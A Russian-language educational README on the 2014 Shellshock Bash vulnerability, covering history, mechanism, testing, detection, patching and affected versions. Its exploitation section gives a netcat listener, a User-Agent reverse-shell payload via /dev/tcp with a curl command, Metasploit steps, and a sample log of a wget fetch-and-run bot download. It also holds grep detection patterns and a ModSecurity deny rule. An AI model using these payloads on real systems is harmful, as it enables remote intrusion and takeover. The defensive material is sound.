
____ _ _ _____ _ _ ____ _ _ ___ ____ _ __
/ ___|| | | | ____| | | | / ___|| | | |/ _ \ / ___| |/ /
\___ \| |_| | _| | | | | \___ \| |_| | | | | | | ' /
___) | _ | |___| |___| |___ ___) | _ | |_| | |___| . \
|____/|_| |_|_____|_____|_____|____/|_| |_|\___/ \____|_|\_\
Удалённое выполнение кода через инъекцию в переменные окружения Bash
"Ошибка, скрытая в Bash десятилетиями и потрясшая основы интернета менее чем за 24 часа."
Shellshock (также известный как Bashdoor) — это семейство критических уязвимостей в командном интерпретаторе GNU Bash, которое позволяет удалённому атакующему выполнять произвольные команды на целевой системе.
Фундаментальная ошибка: Bash не прекращал обработку переменной окружения после завершения определения функции. Любой код, добавленный после () { :; };, выполнялся автоматически.
Переменная окружения → Определение функции → [ЗДЕСЬ ВЫПОЛНЯЕТСЯ ДОПОЛНИТЕЛЬНЫЙ КОД] ← БАГ
Поскольку веб-серверы (CGI/Apache), службы SSH и DHCP-клиенты преобразуют заголовки или параметры в переменные окружения Bash, поверхность атаки была огромной.
12 Sep 2014 ──── Stéphane Chazelas обнаруживает баг и сообщает о нём Chet Ramey (мейнтейнеру Bash)
Баг существовал в Bash более 20 лет.
24 Sep 2014 ──── Публичное раскрытие + выпуск патча (CVE-2014-6271)
Часы спустя: активные ботнеты массово сканируют интернет.
25-30 Sep 2014 ── Обнаружены связанные уязвимости:
CVE-2014-6277, CVE-2014-6278, CVE-2014-7169,
CVE-2014-7186, CVE-2014-7187
Oct 2014 ──────── Зарегистрированы миллионы атак. По серьёзности сравнимо с Heartbleed.
Когда Bash импортирует функцию из переменной окружения, он читает до закрывающей } функции. В уязвимых версиях он продолжал обрабатывать последующий код вместо того, чтобы остановиться.
# Вредоносная переменная окружения:
SHELLSHOCK='() { :; }; /bin/cat /etc/passwd'
# Уязвимый Bash при инициализации:
# 1. Читает определение функции → OK
# 2. Встречает }; → должен остановиться
# 3. ПРОДОЛЖАЕТ → выполняет /bin/cat /etc/passwd ← БАГ
Atacante Servidor Apache (CGI) Bash (vulnerable)
│ │ │
│ HTTP Request │ │
│ User-Agent: () { :;}; cmd │ │
│──────────────────────────────▶│ │
│ │ Convierte headers a env vars │
│ │ HTTP_USER_AGENT=() { :;}; cmd │
│ │───────────────────────────────▶│
│ │ │ Ejecuta cmd
│ │ │ como www-data
│◀──────────────────────────────│◀───────────────────────────────│
│ Respuesta + output del cmd │ │
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
Результат на УЯЗВИМОЙ системе:
VULNERABLE
this is a test
Результат на ИСПРАВЛЕННОЙ системе:
this is a test
(или синтаксическая ошибка — никогда не выводит "VULNERABLE")
Веб-серверы, использующие скрипты .cgi, преобразуют HTTP-заголовки в переменные окружения Bash.
Затронутые заголовки: User-Agent, Referer, Cookie, X-Forwarded-For и любые пользовательские заголовки
# Если на сервере настроен ForceCommand, атакующий с действительным ключом может его обойти
ssh user@target '() { :;}; /bin/bash'
Вредоносные DHCP-серверы могут внедрять переменные окружения в клиенты, использующие Bash для обработки ответа DHCP.
# Любой процесс, который наследует переменные окружения и запускает Bash
env VAR='() { :;}; comando_malicioso' bash -c "script_legítimo"
nc -lvnp 4444
# Payload, который внедряется в User-Agent
() { :;}; /bin/bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1
curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.10/4444 0>&1" \
http://sitio-vulnerable.com/cgi-bin/test.cgi
Connection received from 10.10.10.50
bash: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS <target>
set TARGETURI /cgi-bin/test.cgi
set LHOST <your_ip>
run
# Ищем характерный паттерн в access.log
grep -E "\(\)\s*\{" /var/log/apache2/access.log
# Пример вредоносного лога:
# "() { :;}; wget http://malware.com/bot -O /tmp/x && chmod +x /tmp/x && /tmp/x"
# Дочерние процессы www-data/apache, которых не должно существовать
ps aux | grep www-data | grep -v grep
netstat -antup | grep ESTABLISHED
- Новые исполняемые файлы в /tmp, /var/tmp, /dev/shm
- Исходящие соединения с веб-сервера на неизвестные IP-адреса
- Изменение /etc/crontab или /etc/passwd
- Процессы bash, работающие от имени www-data без терминала
# Debian / Ubuntu
sudo apt-get update && sudo apt-get install --only-upgrade bash
# RHEL / CentOS / Fedora
sudo yum update bash
# Проверка исправленной версии (должна показывать "patches")
bash --version
# GNU bash, version 4.3.30(1)-release → УЯЗВИМАЯ
# GNU bash, version 4.3.33(1)-release → ИСПРАВЛЕННАЯ (зависит от дистрибутива)
# Должен вернуть только "this is a test" — НИКОГДА "VULNERABLE"
env x='() { :;}; echo VULNERABLE' bash -c "echo this is a test"
# 1. Отключить CGI, если он не нужен
a2dismod cgi
# 2. WAF-правило для блокировки паттерна
# В ModSecurity:
SecRule REQUEST_HEADERS "@rx \(\)\s*\{" "id:1001,phase:1,deny,msg:'Shellshock Attempt'"
# 3. Непрерывный мониторинг логов
tail -f /var/log/apache2/access.log | grep -E "\(\)\s*\{"
Этот репозиторий предназначен исключительно для образовательных целей, исследований в области кибербезопасности и авторизованных аудитов безопасности. Вся представленная здесь информация является общедоступной. Проведение тестов против систем без явного разрешения незаконно согласно законам большинства юрисдикций. Автор не несёт ответственности за неправомерное использование этой информации.
Обнаружено Stéphane Chazelas · Опубликовано 24 сентября 2014 года
CVSS Score: 10.0 (Critical) → Позднее скорректирован до 9.8 в CVSSv3
| Продукт | Уязвимые версии | Статус |
|---|
| GNU Bash | 1.0.3 – 4.3 | Исправлено |
| Linux (Debian/Ubuntu/CentOS/RHEL) | Версии до сентября 2014 г. | Исправлено |
| Apple macOS / OS X | 10.10 и более ранние | Исправлено (Security Update 2014-005) |
| IoT-устройства со встроенным Bash | Различные | Зависит от производителя |
| Веб-серверы с CGI поверх Apache | Любая версия с уязвимым Bash | Исправлено |